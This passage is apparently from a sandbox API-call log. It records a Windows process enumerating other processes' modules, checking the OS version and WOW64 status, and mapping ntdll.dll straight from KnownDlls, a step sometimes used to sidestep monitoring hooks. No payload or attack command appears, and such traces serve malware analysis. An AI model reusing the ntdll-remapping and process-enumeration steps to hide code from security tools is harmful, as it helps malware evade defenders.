(pv=0x4e79258) [0063.845] GetModuleInformation (in: hProcess=0x28c, hModule=0x742e0000, lpmodinfo=0x266c0a8, cb=0xc | out: lpmodinfo=0x266c0a8*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0063.845] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.845] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x742e0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0063.846] CoTaskMemFree (pv=0x4e79258) [0063.846] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.846] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x742e0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0063.849] CoTaskMemFree (pv=0x4e79258) [0063.849] GetModuleInformation (in: hProcess=0x28c, hModule=0x74150000, lpmodinfo=0x266e2a4, cb=0xc | out: lpmodinfo=0x266e2a4*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0063.850] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.850] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74150000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0063.851] CoTaskMemFree (pv=0x4e79258) [0063.851] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.851] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74150000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0063.852] CoTaskMemFree (pv=0x4e79258) [0063.852] GetModuleInformation (in: hProcess=0x28c, hModule=0x73c90000, lpmodinfo=0x2670454, cb=0xc | out: lpmodinfo=0x2670454*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0063.852] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.852] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x73c90000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0063.853] CoTaskMemFree (pv=0x4e79258) [0063.853] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.853] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x73c90000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0063.854] CoTaskMemFree (pv=0x4e79258) [0063.854] GetModuleInformation (in: hProcess=0x28c, hModule=0x74ce0000, lpmodinfo=0x267261c, cb=0xc | out: lpmodinfo=0x267261c*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0063.855] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.855] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74ce0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0063.856] CoTaskMemFree (pv=0x4e79258) [0063.856] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.856] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74ce0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0063.856] CoTaskMemFree (pv=0x4e79258) [0063.856] GetModuleInformation (in: hProcess=0x28c, hModule=0x754b0000, lpmodinfo=0x2674728, cb=0xc | out: lpmodinfo=0x2674728*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0063.857] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.857] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x754b0000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0063.858] CoTaskMemFree (pv=0x4e79258) [0063.858] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.858] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x754b0000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0063.859] CoTaskMemFree (pv=0x4e79258) [0063.859] GetModuleInformation (in: hProcess=0x28c, hModule=0x74050000, lpmodinfo=0x2676834, cb=0xc | out: lpmodinfo=0x2676834*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0063.860] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.860] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x74050000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0063.861] CoTaskMemFree (pv=0x4e79258) [0063.861] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.861] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x74050000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0063.862] CoTaskMemFree (pv=0x4e79258) [0063.862] GetModuleInformation (in: hProcess=0x28c, hModule=0x76420000, lpmodinfo=0x2678958, cb=0xc | out: lpmodinfo=0x2678958*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0063.863] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.863] GetModuleBaseNameW (in: hProcess=0x28c, hModule=0x76420000, lpBaseName=0x4e79258, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0063.864] CoTaskMemFree (pv=0x4e79258) [0063.864] CoTaskMemAlloc (cb=0x804) returned 0x4e79258 [0063.864] GetModuleFileNameExW (in: hProcess=0x28c, hModule=0x76420000, lpFilename=0x4e79258, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0063.865] CoTaskMemFree (pv=0x4e79258) [0063.865] CloseHandle (hObject=0x28c) returned 1 [0064.394] RtlGetVersion (in: lpVersionInformation=0x563b800 | out: lpVersionInformation=0x563b800*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0064.413] RtlGetVersion (in: lpVersionInformation=0x563b800 | out: lpVersionInformation=0x563b800*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0064.486] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0064.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="IsWow64Process", cchWideChar=14, lpMultiByteStr=0x563cedc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsWow64Process\x92rcSþ\x17\x94ÂctXÒc\x05", lpUsedDefaultChar=0x0) returned 14 [0064.486] GetProcAddress (hModule=0x75a20000, lpProcName="IsWow64Process") returned 0x75a3195e [0064.486] GetCurrentProcess () returned 0xffffffff [0064.487] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x563cf3c | out: Wow64Process=0x563cf3c) returned 1 [0064.492] CoTaskMemAlloc (cb=0x2e) returned 0x4e61a10 [0064.502] NtOpenSection (in: SectionHandle=0x563d314, DesiredAccess=0xc, ObjectAttributes=0x563d2f8*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x563d314*=0x28c) returned 0x0 [0064.521] NtMapViewOfSection (in: SectionHandle=0x28c, ProcessHandle=0xffffffff, BaseAddress=0x563d30c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x563d2fc*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x563d30c*=0x6860000, SectionOffset=0x0, ViewSize=0x563d2fc*=0x180000) returned 0x40000003 [0066.464] EnumProcessModules (in: hProcess=0x290, lphModule=0x271db64, cb=0x100, lpcbNeeded=0x563cf30 | out: lphModule=0x271db64, lpcbNeeded=0x563cf30) returned 1 [0066.465] GetModuleInformation (in: hProcess=0x290, hModule=0xea0000, lpmodinfo=0x271dca4, cb=0xc | out: lpmodinfo=0x271dca4*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0066.465] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.465] GetModuleBaseNameW (in: hProcess=0x290, hModule=0xea0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0066.466] CoTaskMemFree (pv=0x4e7ba58) [0066.466] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.466] GetModuleFileNameExW (in: hProcess=0x290, hModule=0xea0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0066.466] CoTaskMemFree (pv=0x4e7ba58) [0066.466] GetModuleInformation (in: hProcess=0x290, hModule=0x77850000, lpmodinfo=0x271fe18, cb=0xc | out: lpmodinfo=0x271fe18*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0066.466] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.466] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x77850000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0066.466] CoTaskMemFree (pv=0x4e7ba58) [0066.466] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.466] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x77850000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0066.467] CoTaskMemFree (pv=0x4e7ba58) [0066.467] GetModuleInformation (in: hProcess=0x290, hModule=0x75250000, lpmodinfo=0x2721f1c, cb=0xc | out: lpmodinfo=0x2721f1c*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0066.467] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.467] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75250000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0066.467] CoTaskMemFree (pv=0x4e7ba58) [0066.467] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.467] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75250000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0066.467] CoTaskMemFree (pv=0x4e7ba58) [0066.467] GetModuleInformation (in: hProcess=0x290, hModule=0x75a20000, lpmodinfo=0x2724028, cb=0xc | out: lpmodinfo=0x2724028*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0066.468] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.468] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75a20000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0066.468] CoTaskMemFree (pv=0x4e7ba58) [0066.468] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.468] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75a20000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0066.468] CoTaskMemFree (pv=0x4e7ba58) [0066.468] GetModuleInformation (in: hProcess=0x290, hModule=0x765f0000, lpmodinfo=0x272613c, cb=0xc | out: lpmodinfo=0x272613c*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0066.469] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.469] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x765f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0066.469] CoTaskMemFree (pv=0x4e7ba58) [0066.469] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.469] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x765f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0066.469] CoTaskMemFree (pv=0x4e7ba58) [0066.469] GetModuleInformation (in: hProcess=0x290, hModule=0x75b30000, lpmodinfo=0x2728284, cb=0xc | out: lpmodinfo=0x2728284*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0066.469] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.469] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75b30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0066.470] CoTaskMemFree (pv=0x4e7ba58) [0066.470] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.470] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75b30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0066.470] CoTaskMemFree (pv=0x4e7ba58) [0066.470] GetModuleInformation (in: hProcess=0x290, hModule=0x75e30000, lpmodinfo=0x272a398, cb=0xc | out: lpmodinfo=0x272a398*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0066.471] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.471] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75e30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0066.471] CoTaskMemFree (pv=0x4e7ba58) [0066.471] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.471] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75e30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0066.471] CoTaskMemFree (pv=0x4e7ba58) [0066.471] GetModuleInformation (in: hProcess=0x290, hModule=0x762b0000, lpmodinfo=0x272c4a4, cb=0xc | out: lpmodinfo=0x272c4a4*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0066.472] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.472] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0066.472] CoTaskMemFree (pv=0x4e7ba58) [0066.472] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.472] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0066.472] CoTaskMemFree (pv=0x4e7ba58) [0066.472] GetModuleInformation (in: hProcess=0x290, hModule=0x772d0000, lpmodinfo=0x272e5b0, cb=0xc | out: lpmodinfo=0x272e5b0*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0066.473] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.473] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x772d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0066.473] CoTaskMemFree (pv=0x4e7ba58) [0066.473] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.473] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x772d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0066.473] CoTaskMemFree (pv=0x4e7ba58) [0066.473] GetModuleInformation (in: hProcess=0x290, hModule=0x753b0000, lpmodinfo=0x2730708, cb=0xc | out: lpmodinfo=0x2730708*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0066.474] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.474] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0066.474] CoTaskMemFree (pv=0x4e7ba58) [0066.474] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.474] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0066.475] CoTaskMemFree (pv=0x4e7ba58) [0066.475] GetModuleInformation (in: hProcess=0x290, hModule=0x753a0000, lpmodinfo=0x2732814, cb=0xc | out: lpmodinfo=0x2732814*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0066.475] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.475] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0066.475] CoTaskMemFree (pv=0x4e7ba58) [0066.476] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.476] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0066.476] CoTaskMemFree (pv=0x4e7ba58) [0066.476] GetModuleInformation (in: hProcess=0x290, hModule=0x751d0000, lpmodinfo=0x2734928, cb=0xc | out: lpmodinfo=0x2734928*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0066.476] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.476] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0066.477] CoTaskMemFree (pv=0x4e7ba58) [0066.477] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.477] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0066.477] CoTaskMemFree (pv=0x4e7ba58) [0066.477] GetModuleInformation (in: hProcess=0x290, hModule=0x75ce0000, lpmodinfo=0x2736a70, cb=0xc | out: lpmodinfo=0x2736a70*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0066.477] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.478] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0066.478] CoTaskMemFree (pv=0x4e7ba58) [0066.478] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.478] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0066.478] CoTaskMemFree (pv=0x4e7ba58) [0066.478] GetModuleInformation (in: hProcess=0x290, hModule=0x773c0000, lpmodinfo=0x2738b7c, cb=0xc | out: lpmodinfo=0x2738b7c*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0066.479] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.479] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x773c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0066.479] CoTaskMemFree (pv=0x4e7ba58) [0066.479] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.479] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x773c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0066.480] CoTaskMemFree (pv=0x4e7ba58) [0066.480] GetModuleInformation (in: hProcess=0x290, hModule=0x756f0000, lpmodinfo=0x273ac80, cb=0xc | out: lpmodinfo=0x273ac80*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0066.480] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.480] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x756f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0066.480] CoTaskMemFree (pv=0x4e7ba58) [0066.481] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.481] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x756f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0066.481] CoTaskMemFree (pv=0x4e7ba58) [0066.481] GetModuleInformation (in: hProcess=0x290, hModule=0x762d0000, lpmodinfo=0x273cd8c, cb=0xc | out: lpmodinfo=0x273cd8c*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0066.481] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.481] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0066.482] CoTaskMemFree (pv=0x4e7ba58) [0066.482] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.482] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0066.482] CoTaskMemFree (pv=0x4e7ba58) [0066.482] GetModuleInformation (in: hProcess=0x290, hModule=0x75410000, lpmodinfo=0x273ee88, cb=0xc | out: lpmodinfo=0x273ee88*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0066.483] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.483] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75410000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0066.483] CoTaskMemFree (pv=0x4e7ba58) [0066.483] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.483] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75410000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0066.484] CoTaskMemFree (pv=0x4e7ba58) [0066.484] GetModuleInformation (in: hProcess=0x290, hModule=0x76500000, lpmodinfo=0x2741018, cb=0xc | out: lpmodinfo=0x2741018*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0066.484] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.484] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0066.485] CoTaskMemFree (pv=0x4e7ba58) [0066.485] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.485] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0066.485] CoTaskMemFree (pv=0x4e7ba58) [0066.486] GetModuleInformation (in: hProcess=0x290, hModule=0x75d40000, lpmodinfo=0x274311c, cb=0xc | out: lpmodinfo=0x274311c*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0066.486] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.486] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75d40000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0066.487] CoTaskMemFree (pv=0x4e7ba58) [0066.487] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.487] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75d40000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0066.487] CoTaskMemFree (pv=0x4e7ba58) [0066.487] GetModuleInformation (in: hProcess=0x290, hModule=0x751c0000, lpmodinfo=0x2745220, cb=0xc | out: lpmodinfo=0x2745220*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0066.488] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.488] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0066.488] CoTaskMemFree (pv=0x4e7ba58) [0066.488] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.488] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0066.489] CoTaskMemFree (pv=0x4e7ba58) [0066.489] GetModuleInformation (in: hProcess=0x290, hModule=0x74630000, lpmodinfo=0x274732c, cb=0xc | out: lpmodinfo=0x274732c*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0066.489] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.489] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74630000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0066.490] CoTaskMemFree (pv=0x4e7ba58) [0066.490] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.490] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74630000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0066.490] CoTaskMemFree (pv=0x4e7ba58) [0066.490] GetModuleInformation (in: 